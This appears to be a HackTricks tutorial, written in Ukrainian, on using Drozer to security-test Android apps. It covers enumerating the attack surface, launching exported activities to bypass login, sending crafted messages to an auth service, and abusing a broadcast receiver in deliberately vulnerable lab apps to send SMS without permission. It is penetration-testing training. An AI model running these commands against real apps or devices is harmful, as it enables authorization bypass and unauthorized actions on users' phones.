# Drozer Tutorial {{#include ../../../banners/hacktricks-training.md}} ## APKs to test - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (від mrwlabs) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) **Частини цього посібника були витягнуті з** [**документації Drozer pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** ## Installation Встановіть Drozer Client на вашому хості. Завантажте його з [останніх релізів](https://github.com/mwrlabs/drozer/releases). ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted pip install service_identity ``` Завантажте та встановіть drozer APK з [останніх релізів](https://github.com/mwrlabs/drozer/releases). На даний момент це [цей](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk). ```bash adb install drozer.apk ``` ### Запуск сервера Агент працює на порту 31415, нам потрібно [port forward](https://en.wikipedia.org/wiki/Port_forwarding), щоб встановити зв'язок між Drozer Client та Agent, ось команда для цього: ```bash adb forward tcp:31415 tcp:31415 ``` Нарешті, **запустіть** **додаток** і натисніть кнопку "**УВІМКНУТО**" ![](<../../../images/image (459).png>) І підключіться до нього: ```bash drozer console connect ``` ## Цікаві команди | **Команди** | **Опис** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Help MODULE** | Показує допомогу вибраного модуля | | **list** | Показує список усіх модулів drozer, які можна виконати в поточній сесії. Це приховує модулі, які ви не маєте відповідних прав для виконання. | | **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту. | | **clean** | Видаляє тимчасові файли, збережені drozer на Android-пристрої. | | **load** | Завантажує файл, що містить команди drozer, і виконує їх послідовно. | | **module** | Знаходить і встановлює додаткові модулі drozer з Інтернету. | | **unset** | Видаляє названу змінну, яку drozer передає будь-яким оболонкам Linux, які він створює. | | **set** | Зберігає значення в змінній, яка буде передана як змінна середовища будь-яким оболонкам Linux, створеним drozer. | | **shell** | Запускає інтерактивну оболонку Linux на пристрої в контексті Агенту | | **run MODULE** | Виконує модуль drozer | | **exploit** | Drozer може створювати експлойти для виконання на пристрої. `drozer exploit list` | | **payload** | Експлойти потребують корисного навантаження. `drozer payload list` | ### Пакет Знайдіть **ім'я** пакета, фільтруючи за частиною імені: ```bash dz> run app.package.list -f sieve com.mwr.example.sieve ``` **Основна інформація** про пакет: ```bash dz> run app.package.info -a com.mwr.example.sieve Package: com.mwr.example.sieve Process Name: com.mwr.example.sieve Version: 1.0 Data Directory: /data/data/com.mwr.example.sieve APK Path: /data/app/com.mwr.example.sieve-2.apk UID: 10056 GID: [1028, 1015, 3003] Shared Libraries: null Shared User ID: null Uses Permissions: - android.permission.READ_EXTERNAL_STORAGE - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.INTERNET Defines Permissions: - com.mwr.example.sieve.READ_KEYS - com.mwr.example.sieve.WRITE_KEYS ``` Прочитайте **Manifest**: ```bash run app.package.manifest jakhar.aseem.diva ``` **Атакувальна поверхня** пакету: ```bash dz> run app.package.attacksurface com.mwr.example.sieve Attack Surface: 3 activities exported 0 broadcast receivers exported 2 content providers exported 2 services exported is debuggable ``` - **Дії**: Можливо, ви можете розпочати дію та обійти певний вид авторизації, яка повинна заважати вам її запускати. - **Постачальники контенту**: Можливо, ви можете отримати доступ до приватних даних або експлуатувати певну вразливість (SQL Injection або Path Traversal). - **Сервіси**: - **is debuggable**: [Дізнатися більше](./#is-debuggeable) ### Дії Значення “android:exported” експортованого компонента дії встановлено на **“true”** у файлі AndroidManifest.xml: ```markup ``` **Список експортованих активностей**: ```bash dz> run app.activity.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity com.mwr.example.sieve.MainLoginActivity com.mwr.example.sieve.PWList ``` **Почати активність**: Можливо, ви можете почати активність і обійти якусь авторизацію, яка повинна заважати вам її запустити. ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` Ви також можете запустити експортовану активність з **adb**: - PackageName - com.example.demo - Exported ActivityName - com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Content Providers Цей пост був занадто великим, щоб бути тут, тому **ви можете** [**доступити його на окремій сторінці тут**](exploiting-content-providers.md). ### Services Експортована служба оголошується в Manifest.xml: ```markup ``` У коді **перевірте** функцію **`handleMessage`**, яка буде **отримувати** **повідомлення**: ![](<../../../images/image (82).png>) #### Список сервісів ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: null ``` #### **Взаємодіяти** з сервісом ```bash app.service.send Send a Message to a service, and display the reply app.service.start Start Service app.service.stop Stop Service ``` #### Приклад Подивіться на допомогу **drozer** для `app.service.send`: ![](<../../../images/image (1079).png>) Зверніть увагу, що спочатку ви будете надсилати дані всередині "_msg.what_", потім "_msg.arg1_" і "_msg.arg2_", вам слід перевірити в коді **яка інформація використовується** і де.\ Використовуючи опцію `--extra`, ви можете надіслати щось, що інтерпретується "_msg.replyTo_", а використовуючи `--bundle-as-obj`, ви створюєте об'єкт з наданими деталями. У наступному прикладі: - `what == 2354` - `arg1 == 9234` - `arg2 == 1` - `replyTo == object(string com.mwr.example.sieve.PIN 1337)` ```bash run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj ``` ![](<../../../images/image (647).png>) ### Broadcast Receivers **У розділі основної інформації про Android ви можете побачити, що таке Broadcast Receiver**. Після виявлення цих Broadcast Receivers вам слід **перевірити код** цих компонентів. Зверніть особливу увагу на функцію **`onReceive`**, оскільки вона оброблятиме отримані повідомлення. #### **Виявити всі** broadcast receivers ```bash run app.broadcast.info #Detects all ``` #### Перевірте приймачі широкомовлення програми ```bash #Check one negative run app.broadcast.info -a jakhar.aseem.diva Package: jakhar.aseem.diva No matching receivers. # Check one positive run app.broadcast.info -a com.google.android.youtube Package: com.google.android.youtube com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver Permission: null com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver Permission: com.google.android.c2dm.permission.SEND com.google.android.apps.youtube.app.PackageReplacedReceiver Permission: null com.google.android.libraries.youtube.account.AccountsChangedReceiver Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` #### Трансляція **Взаємодій** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` #### Надіслати повідомлення У цьому прикладі, зловживаючи [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, ви можете **надіслати довільне SMS** на будь-який непреміум-адресат **без запиту** дозволу у користувача. ![](<../../../images/image (415).png>) ![](<../../../images/image (573).png>) Якщо ви прочитаєте код, параметри "_phoneNumber_" та "_message_" повинні бути надіслані до Content Provider. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Чи є можливість налагодження Продуктова APK ніколи не повинна бути налагоджуваною.\ Це означає, що ви можете **підключити java налагоджувач** до працюючого додатку, перевірити його в режимі виконання, встановити точки зупинки, крок за кроком, збирати значення змінних і навіть змінювати їх. [InfoSec institute має відмінну статтю](../exploiting-a-debuggeable-applciation.md) про те, як глибше дослідити, коли ваш додаток є налагоджуваним і впроваджувати код під час виконання. Коли додаток є налагоджуваним, він з'явиться в Маніфесті: ```xml